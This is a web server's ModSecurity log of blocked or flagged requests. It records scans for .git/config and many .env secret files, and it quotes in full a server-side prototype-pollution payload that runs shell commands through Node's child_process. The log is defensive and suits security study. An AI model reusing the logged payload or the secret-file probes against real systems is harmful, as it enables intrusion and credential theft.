[Fri Jul 17 09:25:49.567235 2026] [security2:error] [pid 2019501:tid 2019501] [client 54.116.45.0:0] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "367"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: $((41*271)) found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo $((41*271)) | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "ceylonparampara.lk"] [uri "/"] [unique_id "almnxbEWOaI5pmYo9fnUJgAAAAA"]
[Fri Jul 17 09:25:49.568500 2026] [security2:error] [pid 2019501:tid 2019501] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/"] [unique_id "almnxbEWOaI5pmYo9fnUJgAAAAA"]
[Fri Jul 17 09:25:49.569259 2026] [security2:error] [pid 2019501:tid 2019501] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/"] [unique_id "almnxbEWOaI5pmYo9fnUJgAAAAA"]
[Fri Jul 17 09:25:49.753803 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.116.45.0:0] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "367"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: $((41*271)) found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo $((41*271)) | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "ceylonparampara.lk"] [uri "/"] [unique_id "almnxYl9vhFBGA6D8l9_jgAAAAw"]
[Fri Jul 17 09:25:49.755112 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/"] [unique_id "almnxYl9vhFBGA6D8l9_jgAAAAw"]
[Fri Jul 17 09:25:49.755814 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/"] [unique_id "almnxYl9vhFBGA6D8l9_jgAAAAw"]
[Fri Jul 17 09:25:49.946387 2026] [ssl:error] [pid 2013829:tid 2013829] (70014)End of file found: [client 66.85.158.91:59470] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:25:50.135501 2026] [security2:error] [pid 2031172:tid 2031172] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/.git/config"] [unique_id "almnxujME1mgqYZ5O94rkQAAAAE"]
[Fri Jul 17 09:25:50.135797 2026] [security2:error] [pid 2031172:tid 2031172] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/.git/config"] [unique_id "almnxujME1mgqYZ5O94rkQAAAAE"]
[Fri Jul 17 09:25:50.136191 2026] [security2:error] [pid 2031172:tid 2031172] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/.git/config"] [unique_id "almnxujME1mgqYZ5O94rkQAAAAE"]
[Fri Jul 17 09:25:50.208159 2026] [security2:error] [pid 2018768:tid 2018768] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/laptop-notebook/acer-laptop-and-notebook"] [unique_id "almnxlCBpfuYyhJ140vYAAAAAB4"]
[Fri Jul 17 09:25:50.208267 2026] [security2:error] [pid 2018768:tid 2018768] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/laptop-notebook/acer-laptop-and-notebook"] [unique_id "almnxlCBpfuYyhJ140vYAAAAAB4"]
[Fri Jul 17 09:25:50.208584 2026] [security2:error] [pid 2018768:tid 2018768] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/laptop-notebook/acer-laptop-and-notebook"] [unique_id "almnxlCBpfuYyhJ140vYAAAAAB4"]
[Fri Jul 17 09:25:50.372408 2026] [security2:error] [pid 2018768:tid 2018768] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/index.php"] [unique_id "almnxlCBpfuYyhJ140vYAAAAAB4"]
[Fri Jul 17 09:25:50.415520 2026] [security2:error] [pid 2034024:tid 2034024] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/en_640448cc14c2e_strengthening_the_covid-19_vaccination_program_for_eligible_school_children-20-04-2022.pdf"] [unique_id "almnxo-0g_VSPeIeFN3FxQAAAAs"]
[Fri Jul 17 09:25:50.415921 2026] [security2:error] [pid 2034024:tid 2034024] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/en_640448cc14c2e_strengthening_the_covid-19_vaccination_program_for_eligible_school_children-20-04-2022.pdf"] [unique_id "almnxo-0g_VSPeIeFN3FxQAAAAs"]
[Fri Jul 17 09:25:50.416236 2026] [security2:error] [pid 2034024:tid 2034024] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/en_640448cc14c2e_strengthening_the_covid-19_vaccination_program_for_eligible_school_children-20-04-2022.pdf"] [unique_id "almnxo-0g_VSPeIeFN3FxQAAAAs"]
[Fri Jul 17 09:25:50.515469 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/.env"] [unique_id "almnxol9vhFBGA6D8l9_jwAAAAw"]
[Fri Jul 17 09:25:50.515780 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/.env"] [unique_id "almnxol9vhFBGA6D8l9_jwAAAAw"]
[Fri Jul 17 09:25:50.516168 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/.env"] [unique_id "almnxol9vhFBGA6D8l9_jwAAAAw"]
[Fri Jul 17 09:25:50.796778 2026] [security2:error] [pid 2018768:tid 2018768] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/.env.local"] [unique_id "almnxlCBpfuYyhJ140vYAgAAAB4"]
[Fri Jul 17 09:25:50.797025 2026] [security2:error] [pid 2018768:tid 2018768] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/.env.local"] [unique_id "almnxlCBpfuYyhJ140vYAgAAAB4"]
[Fri Jul 17 09:25:50.797366 2026] [security2:error] [pid 2018768:tid 2018768] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/.env.local"] [unique_id "almnxlCBpfuYyhJ140vYAgAAAB4"]
[Fri Jul 17 09:25:51.002685 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/.env.production"] [unique_id "almnx4l9vhFBGA6D8l9_kwAAAAw"]
[Fri Jul 17 09:25:51.002975 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/.env.production"] [unique_id "almnx4l9vhFBGA6D8l9_kwAAAAw"]
[Fri Jul 17 09:25:51.003410 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/.env.production"] [unique_id "almnx4l9vhFBGA6D8l9_kwAAAAw"]
[Fri Jul 17 09:25:51.166234 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/.env.staging"] [unique_id "almnx41dLClkUfK_dfHqQQAAAAI"]
[Fri Jul 17 09:25:51.166504 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/.env.staging"] [unique_id "almnx41dLClkUfK_dfHqQQAAAAI"]
[Fri Jul 17 09:25:51.166863 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/.env.staging"] [unique_id "almnx41dLClkUfK_dfHqQQAAAAI"]
[Fri Jul 17 09:25:51.378538 2026] [security2:error] [pid 2036488:tid 2036488] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/.env.development"] [unique_id "almnx7EKozcCJ-ReuK0IWgAAAAg"]
[Fri Jul 17 09:25:51.378902 2026] [security2:error] [pid 2036488:tid 2036488] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/.env.development"] [unique_id "almnx7EKozcCJ-ReuK0IWgAAAAg"]
[Fri Jul 17 09:25:51.379458 2026] [security2:error] [pid 2036488:tid 2036488] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/.env.development"] [unique_id "almnx7EKozcCJ-ReuK0IWgAAAAg"]
[Fri Jul 17 09:25:51.579744 2026] [security2:error] [pid 2013797:tid 2013797] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/.env.test"] [unique_id "almnx1h1WDijTxd1xw5RtAAAAAc"]
[Fri Jul 17 09:25:51.580104 2026] [security2:error] [pid 2013797:tid 2013797] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/.env.test"] [unique_id "almnx1h1WDijTxd1xw5RtAAAAAc"]
[Fri Jul 17 09:25:51.580685 2026] [security2:error] [pid 2013797:tid 2013797] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/.env.test"] [unique_id "almnx1h1WDijTxd1xw5RtAAAAAc"]
[Fri Jul 17 09:25:51.687051 2026] [security2:error] [pid 2032156:tid 2032156] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/laptop-notebook/asus-laptop-and-notebook"] [unique_id "almnx614q1EBnanVMYGpXAAAAAk"]
[Fri Jul 17 09:25:51.687166 2026] [security2:error] [pid 2032156:tid 2032156] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/laptop-notebook/asus-laptop-and-notebook"] [unique_id "almnx614q1EBnanVMYGpXAAAAAk"]
[Fri Jul 17 09:25:51.687501 2026] [security2:error] [pid 2032156:tid 2032156] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/laptop-notebook/asus-laptop-and-notebook"] [unique_id "almnx614q1EBnanVMYGpXAAAAAk"]
[Fri Jul 17 09:25:51.736750 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.remote"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/.env.remote"] [unique_id "almnx4l9vhFBGA6D8l9_lAAAAAw"]
